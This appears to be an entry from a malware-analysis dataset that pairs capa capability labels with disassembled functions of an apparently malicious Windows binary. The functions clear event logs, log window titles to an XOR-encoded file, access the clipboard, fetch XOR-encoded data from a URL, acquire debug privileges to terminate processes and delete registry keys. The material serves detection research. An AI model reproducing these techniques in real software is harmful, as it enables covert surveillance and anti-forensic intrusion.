joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408556
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 3
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x40859a
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x40857a
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408900
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x9e50], ebx
mov dword [esi], 0x4173dc
jbe 0x40893a
push edi
lea edi, [esi + 0x210]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9e50]
jb 0x40891b
pop edi
mov ecx, esi
call fcn.004094b3
pop esi
pop ebx
ret

Function at 0x408c34
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.GetFileSize
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 1], 0
push str.GetSystemDirectoryA
push ebx
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
call esi
push eax
call edi
lea ecx, [ebp - 0x11c]
push 0x104
push ecx
call eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x11c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esi
call dword [ebp - 0x10]
cmp eax, 0x3200000
jae 0x408cf7
push 2
push esi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call edi
mov ebx, eax
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp ebx, esi
pop ecx
mov dword [ebp - 0x10], eax
jle 0x408d23
mov ecx, dword [ebp + 8]
sub ecx, eax
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebx
jne 0x408d17
lea eax, [ebp - 0x18]
push esi
push eax
push dword [ebp + 8]
call edi
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408d48
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x41e43c
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x41e83c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x43c], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x43b]
rep stosd dword es:[edi], eax
and dword [ebp - 0x2c], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x41e83c]
cmp eax, dword [0x41e438]
je 0x408ed6
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x408ecc
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x30]
push eax
mov byte [ebp - 0x28], 0xd
movzx eax, word [ebp - 0x32]
push eax
mov byte [ebp - 0x27], 0xa
movzx eax, word [ebp - 0x34]
push eax
mov byte [ebp - 0x26], 0x5b
movzx eax, word [ebp - 0x36]
push eax
mov byte [ebp - 0x25], 0xea
movzx eax, word [ebp - 0x3a]
push eax
mov byte [ebp - 0x24], 0xe2
movzx eax, word [ebp - 0x3c]
push eax
lea eax, [ebp - 0x28]
push esi
push eax
lea eax, [ebp - 0x43c]
mov byte [ebp - 0x23], 0x3a
push eax
mov byte [ebp - 0x22], 0x5d
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0xd
mov byte [ebp - 0x1d], 0xa
mov byte [ebp - 0x1c], 0x5b
mov byte [ebp - 0x1b], 0xb1
mov byte [ebp - 0x1a], 0xe4
mov byte [ebp - 0x19], 0x3a
mov byte [ebp - 0x18], 0x5d
mov byte [ebp - 0x17], 0x25
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x2d
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x2d
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x20
mov byte [ebp - 0xd], 0x25
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x3a
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], 0x25
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], 0xd
mov byte [ebp - 4], 0xa
call edi
lea eax, [ebp - 0x43c]
push eax
call fcn.00408c34
push ebx
lea eax, [ebp - 0x43c]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x40
mov dword [ebp - 0x2c], 1
mov eax, dword [0x41e83c]
mov dword [0x41e438], eax
mov eax, dword [ebp - 0x2c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409318
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.CreateFileA
mov dword [ebp - 0x24], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and dword [ebp - 4], 0
and dword [ebp - 0x1c], 0
push str.GetSystemDirectoryA
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
lea ecx, [ebp - 0x128]
push 0x104
push ecx
call eax
and byte [ebp - 0xd], 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x74
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp - 0x128]
push connect
push eax
call dword [ebp - 0xc]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x40943c
push str.GetFileSize
push ebx
call esi
push eax
call edi
push str.ReadFile
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 0
mov dword [ebp - 0x20], eax
push dword [ebp - 0xc]
call dword [ebp - 8]
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x1c]
push 0
push ecx
push dword [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x20]
xor ecx, ecx
cmp dword [ebp - 4], ecx
jbe 0x409422
mov eax, dword [ebp - 8]
add eax, ecx
xor byte [eax], 0x62
inc ecx
cmp ecx, dword [ebp - 4]
jb 0x409414
push dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
push dword [ebp - 8]
call fcn.004092a4
push dword [ebp - 8]
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push str.CloseHandle
push ebx
call esi
push eax
call edi
push dword [ebp - 0xc]
call eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409b70
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417408
push 0x415d18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
push str.RegSetValueExA
mov esi, str.ADVAPI32.dll
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x28], eax
push str.RegOpenKeyExA
push esi
call ebx
push eax
call edi
mov ebx, eax
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0x20]
sub eax, edi
je 0x409c2e
dec eax
je 0x409c4f
dec eax
je 0x409c06
dec eax
jne 0x409ca2
lea eax, [ebp - 0x2c]
push eax
push 0x2001f
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x409ca2
push dword [ebp + 0x10]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x409c97
lea eax, [ebp - 0x2c]
push eax
push 0x2001f
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x409ca2
push dword [ebp + 0x10]
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x409c97
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
push edi
push 0xf003f
push edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x409ca2
lea eax, [ebp - 0x2c]
push eax
push 0x2001f
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x409ca2
mov ebx, dword [ebp + 0x14]
cmp ebx, edi
jbe 0x409ca2
cmp ebx, 2
jbe 0x409c7e
cmp ebx, 4
jne 0x409ca2
push ebx
lea eax, [ebp + 0x1c]
push eax
push ebx
jmp 0x409c8d
push dword [ebp + 0x18]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push dword [ebp + 0x18]
push ebx
push edi
push dword [ebp + 0x10]
push dword [ebp - 0x2c]
call dword [ebp - 0x28]
test eax, eax
jne 0x409ca2
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.00409cc2
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409f14
Capabilities:
Contain obfuscated stackstrings
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and byte [ebp - 0xa], 0
push 0
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x62
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x4c
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x63
mov byte [ebp - 0xb], 0x6b
call dword [0x41e850]
test eax, eax
je 0x40a017
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x14]
push edi
mov ebx, str.KERNEL32.dll
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_EmptyClipboard]
push str.GlobalAlloc
push ebx
call esi
push eax
call edi
push dword [ebp + 0xc]
push 0x2000
call eax
test eax, eax
mov dword [ebp - 4], eax
je 0x40a003
push eax
call dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp - 0x18], 0
add esp, 0xc
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x47
push eax
push ebx
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x62
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x55
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x6b
call esi
push eax
call edi
push dword [ebp - 4]
call eax
push dword [ebp - 4]
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push str.CloseClipboard
push str.USER32.dll
call esi
push eax
call edi
call eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40a01b
Capabilities:
Contain obfuscated stackstrings
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, str.KERNEL32.dll
push str.GlobalSize
mov dword [ebp - 0x10], ecx
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0
mov dword [ebp - 8], eax
call dword [0x41e850]
test eax, eax
je 0x40a112
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
test eax, eax
mov dword [ebp - 4], eax
jne 0x40a07b
push str.CloseClipboard
push str.USER32.dll
call edi
push eax
call ebx
call eax
jmp 0x40a112
and byte [ebp - 0x12], 0
lea eax, [ebp - 0x1c]
push eax
push esi
mov byte [ebp - 0x1c], 0x47
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x62
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x16], 0x4c
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x6b
call edi
push eax
call ebx
push dword [ebp - 4]
mov dword [ebp - 0xc], eax
call dword [ebp - 8]
push dword [ebp - 4]
mov esi, eax
inc esi
call dword [ebp - 0xc]
push esi
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [esi - 1]
mov dword [ebp - 8], eax
push ecx
mov byte [eax], 0x76
push dword [ebp - 0xc]
inc eax
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push str.CloseClipboard
push str.USER32.dll
call edi
push eax
call ebx
call eax
mov ecx, dword [ebp - 0x10]
push esi
push dword [ebp - 8]
call fcn.004094c6
push dword [ebp - 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a2ba
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 6], 0
push ebx
push esi
mov esi, ecx
lea eax, [ebp - 0x10]
push edi
push eax
mov dword [esi], 0x41741c
mov byte [ebp - 0x10], 0x55
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.DestroyCursor
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10
mov dword [ebp - 4], eax
add esi, 0x44
pop ebx
push dword [esi]
call dword [ebp - 4]
add esi, 4
dec ebx
jne 0x40a318
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b135
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetCursorInfo
mov dword [ebp - 4], ecx
push str.USER32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x14
push ecx
call eax
test eax, eax
je 0x40b1e2
cmp dword [ebp - 0x20], 1
jne 0x40b1e2
mov eax, dword [ebp - 4]
push ebx
xor ebx, ebx
add eax, 0x44
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax]
je 0x40b18b
inc ebx
add eax, 4
cmp ebx, 0x10
jl 0x40b17b
and byte [ebp - 6], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x55
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x33
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
call esi
mov esi, eax
push str.DestroyCursor
push esi
call edi
push dword [ebp - 0x1c]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, 0x10
jne 0x40b1dd
or eax, 0xffffffff
jmp 0x40b1df
mov eax, ebx
pop ebx
jmp 0x40b1e5
or eax, 0xffffffff
pop edi
pop esi
leave
ret

Function at 0x40b88e
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
test eax, eax
jle 0x40b8a9
xor byte [ecx + esi], 7
inc ecx
cmp ecx, eax
jl 0x40b8a0
mov eax, esi
pop esi
ret
Function at 0x40b9c0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
cmp edi, esi
je 0x40ba4d
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
and byte [ebp + 0xb], 0
push str.http:__
push edi
mov dword [ebp - 4], esi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x40ba20
push str.https:__
push edi
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x40ba20
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call fcn.0040b8cf
add esp, 0x1c
mov al, 1
jmp 0x40bb12
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, esi
mov dword [ebp - 0xc], eax
je 0x40ba4d
push esi
push 0x80000100
push esi
push esi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 8], eax
jne 0x40ba56
xor al, al
jmp 0x40bb12
xor esi, esi
mov edi, 0x800
lea eax, [ebp - 0xc0c]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc0c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, str.AAAA
lea eax, [ebp - 0xc0c]
push esi
push eax
call ebx
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x40baf5
add edi, 4
push esi
push edi
call ebx
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x40baf5
push 0x400
lea eax, [ebp - 0x40c]
push 0
push eax
call sub.MSVCRT.dll_memset
sub esi, edi
lea eax, [ebp - 0x40c]
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x40c]
push eax
call fcn.0040b88e
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.0040b8cf
add esp, 0x38
mov byte [ebp + 0xb], 1
cmp dword [ebp - 4], 0
ja 0x40ba54
push dword [ebp - 8]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov al, byte [ebp + 0xb]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e789
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.Sleep
mov dword [esp + 0x14], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x24], eax
call fcn.0040eae9
pop ecx
pop ecx
push str.TerminateProcess
push ebx
call esi
push eax
call edi
xor ebp, ebp
mov dword [esp + 0x14], eax
cmp dword [esp + 0x28], ebp
jbe 0x40e812
push str.OpenProcess
push ebx
call esi
push eax
call edi
mov ecx, dword [esp + 0x24]
push dword [ecx + ebp]
push 0
push 0x1f0fff
call eax
push 0
push eax
mov dword [esp + 0x20], eax
call dword [esp + 0x1c]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebp, 4
cmp ebp, dword [esp + 0x28]
jb 0x40e7d9
push 0
push str.SeDebugPrivilege
call fcn.0040eae9
pop ecx
pop ecx
push 0x64
call dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
call fcn.0040e614
mov ecx, dword [esp + 0x10]
call fcn.0040e650
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
Function at 0x40eec6
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.Process32Next
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push 0
push 2
call eax
push 0x128
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [ebp - 4], eax
mov dword [eax], 0x128
and byte [ebp - 0xe], 0
pop ecx
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x50
push eax
push ebx
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x74
call esi
push eax
call edi
push dword [ebp - 4]
push dword [ebp - 8]
call eax
test eax, eax
je 0x40efae
push str.lstrcmpiA
push ebx
call esi
push eax
call edi
mov ecx, dword [ebp - 4]
push dword [ebp + 8]
add ecx, 0x24
jmp 0x40ef9f
push dword [ebp - 4]
push dword [ebp - 8]
call dword [ebp - 0xc]
test eax, eax
je 0x40efae
push str.lstrcmpiA
push ebx
call esi
push eax
call edi
mov ecx, dword [ebp - 4]
push dword [ebp + 8]
add ecx, 0x24
push ecx
call eax
test eax, eax
jne 0x40ef7e
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
jmp 0x40efb0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f016
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417440
push 0x415d18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x78
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x78
mov byte [ebp - 0x21], 0x65
xor ebx, ebx
mov byte [ebp - 0x20], bl
lea eax, [ebp - 0x2c]
push eax
call fcn.0040eec6
pop ecx
mov esi, eax
cmp esi, ebx
jne 0x40f08b
xor eax, eax
jmp 0x40f1ab
push str.OpenProcess
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 4], ebx
push esi
push ebx
push 0x400
call eax
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x40f170
lea ecx, [ebp - 0x44]
push ecx
push 8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [ebp - 0x34], eax
cmp eax, ebx
je 0x40f170
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push 1
push dword [ebp - 0x44]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call esi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x4c], ebx
jbe 0x40f170
push dword [ebp - 0x4c]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
mov dword [ebp - 0x15c], edi
mov dword [ebp - 0x38], edi
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x4c]
push edi
push 1
push dword [ebp - 0x44]
call esi
mov dword [ebp - 0x34], eax
cmp eax, ebx
je 0x40f170
mov dword [ebp - 0x154], 0x104
mov eax, 0x100
mov dword [ebp - 0x158], eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x154]
push ecx
lea ecx, [ebp - 0x150]
push ecx
lea ecx, [ebp - 0x158]
push ecx
push eax
push dword [edi]
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidA]
mov dword [ebp - 0x34], eax
or dword [ebp - 4], 0xffffffff
call fcn.0040f17b
xor ebx, ebx

Function at 0x40f1ba
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x40f20b
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
push eax
call esi
test eax, eax
je 0x40f229
cmp dword [ebp - 0x98], 5
jne 0x40f224
cmp dword [ebp - 0x94], 0
jne 0x40f224
call fcn.0040f016
jmp 0x40f229
call fcn.0040efb5
pop esi
leave
ret